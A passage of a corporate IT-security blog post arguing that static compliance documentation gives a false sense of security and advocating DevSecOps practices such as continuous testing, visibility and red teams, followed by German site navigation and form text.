compliance regulatory rule is not met? It’s mostly hidden “between the noise”, in hopes that an auditor will get distracted. It’s not addressed openly and transparently. This is contrary to the culture of <a href="http://www.devsecops.org/" target="_blank">DevSecOps</a>  and even more against the culture of InfoSec and security in general. Every issue that’s hidden is a possible real risk, not the kind of compliance named abstract risks, a “real” real risk. It’s the kind of risk that takes you to a InfoSec breach. But we’ll pass the buck…for the feeling of security.</p><h2>Blame compliance and do real security?</h2><p>In real security, every measure and every action is based on being transparent and the enforcement of visibility. If I can’t see a security mishappening, it’s asking for more. But compliance took care: they measured the risk, the probability of happening, the amount of damage and the systems that are affected, right?</p><p>What risk anyway? How much of a risk is it if your front-zone-<a href="https://en.wikipedia.org/wiki/DMZ_(computing)" target="_blank">dmz</a> -webserver gets breached? Not much, one might think. We do have multiple <a href="https://en.wikipedia.org/wiki/DMZ_(computing)" target="_blank">DMZ</a> s, firewalls and hideous <a href="https://en.wikipedia.org/wiki/Subnetwork" target="_blank">network subnetting</a>  to distract any given burglar. Compliance documented every single system well, mangled it through the whole process. But what about <a href="https://www.securityweek.com/lateral-movement-when-cyber-attacks-go-sideways" target="_blank">lateral movement</a> ? Or the breaching of the connected database, sitting right after the first <a href="https://en.wikipedia.org/wiki/DMZ_(computing)" target="_blank">DMZ</a> . Or the other adjacent systems? Is the risk added or multiplied by those systems? What’s the probability of occurrence of a breach? How do you base a decision about probability on an unknown quantity? Do you have any base quantity inheriting a statistical significance about breaches happening from a given CVE or entity? If so, please send me this data! It’s worth more than the next weeks’ lottery jackpot numbers…</p><p>What about the “six-month-old software component” containing several CVEs? They are not seen because compliance doesn’t care. At the time the software went into production, it _was_ compliant! We already passed the buck! We will come back before the next “release”, in six months.</p><p>This is neither <a href="http://www.devsecops.org/" target="_blank">DevSecOps</a>  nor security, it’s the documentation’s standpoint, based on the sole date of a release. Nothing more, nothing less. But <a href="http://www.devsecops.org/" target="_blank">DevSecOps</a>  won’t stand still. In well-played <a href="http://www.devsecops.org/" target="_blank">DevSecOps</a>  environments, the next release will happen in about 20 minutes. Will you be compliant at any chance? No, because you got the wrong assets. You judged the compliance of your system completely ignoring time. But there is no compliance tardis. Time moves on, so will your <a href="https://en.wikipedia.org/wiki/Attack_surface" target="_blank">attack surface</a>  and CVEs targeting your software.</p><h2>Static compliance and pelican crossings</h2><p>The perception of implementing security with compliance is biased. It’s delusive security. The “feeling” of security. Like the “feeling of control” when you try to hit the buttons on a pelican crossing. The buttons on those really make a difference, right? So why blame compliance? The buck is passed, they’re only documenting.</p><p>Most InfoSec breaches happened in the last decade mostly based on ignorance or the compliance “no risk” or “we take that risk” policy. Why do people decide in such a way? Most of the time, when people deal with <a href="https://en.wikipedia.org/wiki/There_are_known_knowns" target="_blank">unknown unknowns</a>  like probabilities or damage sizes or impact to business or adjacent systems, they tend to either underrate the risk because they can’t comprehend and therefore underestimate the full complexity of the system(s) or the measures to mitigate the found (and mostly scary) risk is so costly that it would have an impact on either business itself or at least the current project. So people pass the buck with those decisions. What I don’t see (and can immediately grab) isn’t existent! A “risk in future” isn’t real for the human brain. It feels safe, it’s far away! But this is even worse than doing no compliance at all: it’s an act of negligence. Like Equifax.</p><h2>Ostrich mode enabled!</h2><p><img width="250" height="350" src="https://media.graphassets.com/qFrMlWwWQwyoJrl75dQg" alt="picture of an ostrich" /><br /> “We are not a target” is an even worse kind of thought in the compliance sphere. So why is this sentence ever heard? It’s about complexity of reality. No one could imagine scenarios of breaches. Just take a few threat actors, such as secret services, organised criminals, hacktivists, <a href="https://en.wikipedia.org/wiki/Script_kiddie" target="_blank">sc1pt k1dd1s</a> , insiders, automated malware, the famous security researchers or even a random discovery and their motivations like boredom, political agenda, personal profit, collateral damage, financial profit or bad reputation. Just do the combination game. For the sake of it, how could someone with a decent level of sanity “take that risk” or declare “we are not a target”? Most of the time, when we do InfoSec in such areas, we hear the panacea of sanity: “But we do compliance!”</p><h2>To the rescue – klaatu barada nikto</h2><p>In such environments it’s hard up to impossible to change the way of thinking. But how could we move on? Simple as that:<br /> </p><ul><li><strong>Hope is not a strategy</strong>, concentrate your security on real risks, time-based, fast</li><li><em>Remove</em> risks instead of mitigating them, <em>don’t wait</em> for compliance to happen</li><li>Implement “<em>evil stories</em>” in your daily work</li><li><em>Stay in control</em> – implement visibility, traceability, and capability</li><li>Never <em>“take risks”</em> – <strong>NEVER!</strong> <strong>EVER!</strong></li></ul><p>Concentrate your daily work based on the assumption that a breach <em>will</em> happen, <em>regardless</em> of the applied compliance risk. Assume you can only influence the containment and the possibility of lateral movement. Focus on your input and output interfaces, 80 % of breaches are based on misuse of those. Build your <em>“risk awareness”</em> around your real assets, your people. Enable them to do security-related work, enable them to withstand compliance officers. <em>Enable them to care.</em></p><p>And last but not least, enable your compliance strategy to comply with the fast moving <a href="http://www.devsecops.org/" target="_blank">DevSecOps</a>  feedback cycles. Do <a href="https://en.wikipedia.org/wiki/Application_security" target="_blank">DAST</a> , do <a href="https://en.wikipedia.org/wiki/Application_security" target="_blank">SAST</a> , build your <a href="https://en.wikipedia.org/wiki/Red_team" target="_blank">Red Team</a> !</p><p>You will be a <em>rebel!</em> <strong>Embrace it!</strong></p>

Compliance is not security

Head of IT Security

Wenn die digitalen Tore offenstehen, hat der Hacker leichtes Spiel

Weitere Infos

Details

Logo der codecentric AG, einem in Deutschland führenden IT-Consulting Unternehmen

Logo der codecentric AG einem in Deutschland führenden IT-Consulting Unternehmen

Cloud-Native

Data & Machine Learning

Generative KI

Produktentwicklung

IT-Security

Leistungen

Arbeitsweise

Projekte

Berlin

Bielefeld

Dortmund

Erfurt

Frankfurt am Main

Hamburg

Karlsruhe

Leipzig

München

Münster

Nürnberg

Solingen

Stuttgart

Standorte

Blog

Softwerker

Fachmedien

Webinare

Events

Wissens-Hub

Unsere Kultur

Kultur & Karriere Podcast

Deine Entwicklung

Jobs

Karriere

Über uns

Aktuelles

Kontakt

International contact

Du hast Fragen oder möchtest dich mit mir austauschen? Gern – trag einfach deine Kontaktdaten ein.

Contact Us | Sub-Navi-Kontakt oder Zero Search Hits

Kontakt aufnehmen

Marketing & Community Management

Konntest du keine Einträge zu deinem Thema finden?  

Vielen Dank für deine Anfrage. Ich melde mich bei dir.

Vielen Dank für deine Anmeldung. Eine E-Mail zur Bestätigung ist zu dir unterwegs.

Diese Seite ist eine Vorschau. \nKlicken Sie hier\n, um den Vorschaumodus zu verlassen.

Zu deiner Suche haben wir leider keine passenden Blogartikel gefunden. 

Du hast noch Fragen zu diesem Thema? Dann sprich mich einfach an.

Du hast Fragen oder möchtest dich mit mir austauschen? Gern - trag einfach deine Kontaktdaten ein.

Die \nDatenschutzerklärung\n der codecentric AG habe ich zur Kenntnis genommen und bestätige das mit der Absendung des Formulars.*

Entdecke spannende weiterführende Themen und lass dich von der codecentric Welt inspirieren.

Ich möchte eure Inhalte abonnieren. Diese Einwilligung kann ich jederzeit widerrufen bzw. den Blog Newsletter abbestellen. Die Datenschutzerklärung habe ich gelesen. Ich bin damit einverstanden, dass die codecentric AG, Hochstr. 11, 42697 Solingen, mich über eigene Dienstleistungen, branchenrelevante Events, Webinare und Publikationen der codecentric AG über die von mir angegebene E-Mail-Adresse informiert. Meine Einwilligung ist freiwillig. Ich kann meine Einwilligung jederzeit mit Wirkung für die Zukunft widerrufen (z.B. über den hierfür vorgesehenen Abmeldelink in unserem Newsletter, per E-Mail an datenschutz@codecentric.de oder per Post an die oben genannte Adresse der codecentric AG) erklären. Weitere Hinweise zur Verarbeitung meiner personenbezogenen Daten und zu meinen Rechten als betroffene Person finde ich hier: \nhttps://www.codecentric.de/datenschutzerklaerung\n

Bitte wähle deine/n gewünschte/n Standort/e aus.

Wir möchten dich als Mensch kennenlernen. Erzähle uns, wer du bist, worauf du Wert legst, wie du gerne arbeitest und was du von uns als Arbeitgeber erwartest.

Bitte füge deine Bewerbungsunterlagen ​(mind. Lebenslauf, gerne auch mehr)​​ ​als eine ​PDF-​Datei ​hinzu.

Es gilt die Datenschutzerklärung der codecentric AG, abrufbar unter \nDatenschutzbestimmungen\n. Mit dem Absenden des Formulars bestätige ich, dass ich diese zur Kenntnis genommen habe.

Job application form field placeholder 10

Keine passende Rolle gefunden? Bewirb dich bitte trotzdem initiativ! Jenseits von starren Schubladen zählen für uns vielmehr Motivation, Kompetenz und der Cultural Fit.

Job application form field placeholder 11

Dies ist ein Pflichtfeld, bitte fülle es aus.

Wenn die digitalen Tore offenstehen, hat der Hacker leichtes Spiel

Details

Weitere Infos

Wenn die digitalen Tore offenstehen, hat der Hacker leichtes Spiel

Gemeinsam bessere Projekte umsetzen.

Wir helfen deinem Unternehmen.

Unsere Leistungen

Hilf uns, noch besser zu werden.

Zu den Jobangeboten